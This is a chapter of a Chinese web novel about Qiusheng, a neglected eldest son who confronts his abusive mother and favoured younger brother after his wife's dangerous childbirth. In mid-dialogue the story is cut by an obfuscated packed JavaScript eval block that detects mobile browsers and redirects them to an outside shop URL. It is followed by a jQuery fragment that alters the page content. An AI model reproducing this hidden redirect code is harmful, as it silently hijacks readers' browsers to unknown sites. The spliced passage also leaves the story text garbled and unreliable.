默认冷灰
24号文字
方正启体

5.第 5 章

作者:远芳古道本书字数:K更新时间:
    秋生诧异,这么晚了他们竟然还没有睡?


    农村并没有什么娱乐,一般入夜便会入睡,早上又会起得早。


    秋生之所以七点过后才回家,一来是并不想碰上苏家那些人,能不碰上最好不要碰上,一旦碰上了,也因为晚了,也能少点儿话。


    二来,这么晚了还回家,那就是给自己一个理由,看吧,我回家了,只是太晚了,你们没遇上我,这不是我的错。


    小人物自有小人物的活法,虽然逃避不是个办法,但为今之计,却也是最好的办法。


    时间过去了,事情也就过去了。


    却没有想到,理想很丰满,现实却是骨感。


    不只苏老太没有睡,就连苏老爹这位当家人也没有睡。


    甚至,二房三房那边还影影卓卓的,有人影晃动。


    显然都在看他笑话呢。


    秋生却只当没有看到,将那只砸到他脸上的鞋子挪开,又反身去关了院门。


    然后喊了声“阿爸阿妈。”就往自个的屋子走。


    才没走上两步,他就听到苏老太那破铜锣一样的声音,就响在耳侧:“没看到我的鞋子在那吗?还不给我捡回来。”


    秋生:“我以为你鞋不要了,既然要,怎么能乱扔呢。”又去捡了鞋过来。


    鞋子很臭,秋生却连眉头都没有皱一下,似乎那不是臭鞋一样。


    苏老太去把鞋子套上,转身用手不停地拍打秋生的背,拍得哐哐响,可想而知她下手有多重。


    要不是秋生护着自个的脸,只怕脸上都挨了好几个巴掌了。


    “你还知道回来,怎么不死在外面了?”苏老太骂人的时候,总是能戳人的痛处骂,“你看看,谁家生个孩子还要去医院的?就你家的宝贵,要花那个冤枉钱?她怎么那么能啊?”


    秋生也不作声,任由他娘骂个痛快。


    这个时候,但凡他吱一声,他娘的骂声是不会停的。


    不但不会停,甚至会越骂越勇,最后可能手脚并上,一边骂一边打。


    大晚上的,可能会把村里所有人都叫起来,听她念叨他的不孝,把他的脸全部丢尽,才肯罢休。


    “问家里要也就算了,你还问你三弟去要,你怎么那么能啊?你是要丢脸丢到城里去,让所有人都看咱们老苏家的洋相是吧?”苏老太越想越气。


    这苏家好不容易出了一个在镇上打工的工人,那可是整个苏家的荣耀。


    村里谁家提起她小儿子,不竖起大拇指夸的。


    谁家能够进家具厂哦,也就只有她家小儿子了。


    却忘了,当年考进家具厂的人,是她眼里最没出息的大儿子。


    也是她眼里最没出息的大儿子,把他的工作让给了她最有出息的小儿子。


    苏老太骂起来的时候,是真狠。


    本来秋生睁只眼闭只眼,打算今天就先过了。


    他明天一早还要去医院照顾他媳妇呢。


    但是当苏老太那句“找你三弟借钱”,戳到了他的痛处,他抬起满是红血丝的眼睛。


    “你这什么眼神,我说错了吗?你说你好端端地,去什么医院?去也就算了,你还跑去建国单位闹,问他借钱,你让别人怎么看待他?他还要不要在厂里上班了?”苏老太一说起这个来,就很生气。


    要说如今,家里最有出息的人就是建国。


    苏老太是绝不允许家里人毁掉他前途的。


    那可是一个月三十多块的工资,谁家能有建国强?


    秋生也不管苏老太骂人狠不狠,他也习惯了。


    哪天老娘要是不骂,他反倒觉得稀奇。


    此时他的表情不太好看,不是因为苏老太骂人的事,而是她嘴里一个劲地贬低他来抬高苏老三。


    要换作平时,或换另一件事情,他可能也就睁只眼闭只眼,不去较真了。


    偏偏,这事就发生在他刚问老三借了钱没多久。


    而且,他的妻子还不是因为无故难产的,却是因为老三家的儿子,那个苏家的宝贝疙瘩金孙。


    要不是这苏家宝没事冲他们撞过来,也不会让周娴被撞在地,更不会发生那样危险的事情。


    周娴差一点就一尸两命了。


    秋生:“所以,苏建国告诉你,我去他厂里闹了,闹得整个家具厂的人都笑话他,是这个理吧?”


    他说话的声音很轻,很平静,如果不是那双赤红的眼睛暴露了,只听声音真一点也听不出来他怒了。


    怪不得,他一回来就见着家里的两位老人不睡觉地等着他了。


    还以为他真的那么重要,重要到让一家子都担心他。


    却原来是因为苏建国。


    这是有多不待见他,才会大晚上的不睡觉,一直要等到他回来啊?


    秋生苦笑的同时,心里的那股儿气,也没处发。


    这是他在医院担惊受怕,一颗心吊在半空中下不去。


    哪怕后来得到了自家媳妇平安无事,母女兼安的消息,这悬着的这股儿气亦然没有彻底放下。


    晚上之所以赶着回来,一是真怕苏家人去医院闹,影响了周娴的休息。


    也是因为他当时走得匆忙,并没有去大队部开介绍信。


    白天不会有事,这大晚上的,很容易出点儿麻烦。


    医院又没办法睡,各种事情堆在一起,他就回来了。


    “所以不管真相如何,这个钱我是不能问他借的,是吧?”秋生又问。


    “那是自然,你是什么人,建国是什么人,怎么能任由……哎哎,你干什么去?苏秋生,你干什么!你住手!”


    此时的秋生,已经到了三房的门前,朝着那边喊:“建国!苏建国,你给我出来!别给我躲着,有胆子搅舌根,没胆子认是吧?”


    苏老太:“你干什么?你喊什么喊?建国一天在厂里干活他不累吗?有什么事,跟老娘说。”


    秋生却没有理她,而是直接去了三房,大手拍向了房门:“再躲着,我把你房都给砸开,开门!”


    要闹是吧?


    那就闹,动静再闹大点,最好全村的人都起来,全都给他评评理!


    秋生眼里戾气横生。


    门没有被砸开,里面的人不知道是真睡了还是在装睡。


    他再砸,衣服却已经被苏老太拉住了,她道:“你干什么?你弟都睡了,别去吵醒他。”


    秋生呵地笑了一声:“那阿妈你怎么不问问我累不累,需不需要休息,一回来就又打又骂上了呢?”眼睛紧紧地盯着苏老太,眼里有团东西在酝酿。


    苏老太却看不出来,她嘴里还在那里骂骂咧咧:“能一样吗?你三弟出息,在厂里上班,你呢?你能干什么?不赚一分钱,还要花家里的钱,我不骂你骂谁?”


    秋生咬牙切齿:“你那有出息的儿子的工作,是我让给他的,是我!是我这个你眼里最没出息的大儿子,让给他的。”


    苏老太骂人的话一顿,一脸不敢置信地看着她。


    秋生:“你总说我没出息,那我的没出息是谁造成的?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381794|199835||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你总说他有出息,那他为什么不自己出去招工考试,为什么又来抢我的工作?”


    这话几乎是吼出去,拳头紧紧地捏着,用了很大的力。


    苏老太一愣之后,又反手打他:“你这说的什么话?你考的?你出去跟人说说,谁信你的话?要不是建国是初中生,怎么能考上?”


    秋生突然盯住她,莫名其妙地问了一句:“阿妈,我是你亲生的吗?”


    “啥?”苏老太一时之间没反应过来。


    之后,可能是反应过来了,她骂得更凶,也打得更凶了,最后干脆一屁股坐在了地上,拍着大腿哭吼:“我这是造了什么孽啊,怎么生了这么个畜生不如的东西啊!当年我痛死疼死,把他生出来,要知道他是这么个玩意,当年不如直接溺死算了。我的命怎么那么苦啊。”


    “当时就剩半条命啊,那个血哗哗地流着,现在他反过来问我,是不是我亲生的,我的命哦……”苏老太哭得伤心。


    从来没有这样哭过。


    她总是那么新活,活蹦乱跳地骂人。


    秋生何时见过她这样的痛哭过?


    他愣在当场。


    三房的门终于打开了,苏建国披着衣服,衣衫不整的样子,急忙去扶住他妈,又朝秋生埋怨:“大哥,你干什么要气阿妈?你这样是不孝,妈要是被气出个好歹来,看你怎么办?”


    二房那边也因为这动静而起来了,老二苏国昌也道:“大哥,这就是你的不对了,咱妈不就是骂了你几句吗,你怎么能这样气咱妈?还不快给妈道歉啊。”


    秋生木愣愣地站着。


    院子里很黑,今天连个月亮都没有,藏在云层深处不露脸。


    但院子又很亮,各个房间的门开着,里面透出来的亮光朦朦胧胧,本应该昏暗的,但他却觉得刺眼。


    那边的两个儿子扶着老妈妈,两个在劝,一个在哭,那场景多感人?


    却与他没有任何关系。


    仿佛他本不应该出现在这里。


    连空气都觉得他碍眼,让他的胸口很闷。


    呼吸都不畅起来。


    “他这是要逼死我啊,我要向政府举报,举报这个娶了媳妇忘了娘的东西,为了一个外人来作践他亲娘!我要告他!”苏老太哭着喊着。


    秋生窒息。


    他道:“告吧,我们一起去派出所,正好我也要问问,差点撞人致死,该判个什么罪?”


    哭声突然停住。


    就像是被人卡住了咽喉。


    苏老太一脸的不敢置信。


    苏老三也是目瞪口呆。


    秋生突然觉得无趣。


    这场闹剧,让他对自己的存在产生了浓浓的怀疑。


    他问他娘,自己是亲生的吗?


    问错了吗?


    没有,他一直都有这个疑问。


    否则,试问有哪个亲娘,会这样作践自己的亲生儿子?


    哪个亲娘会恨不得儿子去死?


    哪个亲娘会硬逼着一个儿子将好不容易考出来的工作让给另一个儿子?


    不给就撞死?


    他将自己关在了房间里,不去听外面的吵闹与动静。


    想让自己的心能够平静下来。


    外面安静了。


    他的心却并不平静。


    好久,他听到了敲门的声音。


    打开,却发现是苏老爹。


    “老大,你出来一下,我跟你谈谈。”苏老爹道。


    说完,他背着手往堂屋的方向去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)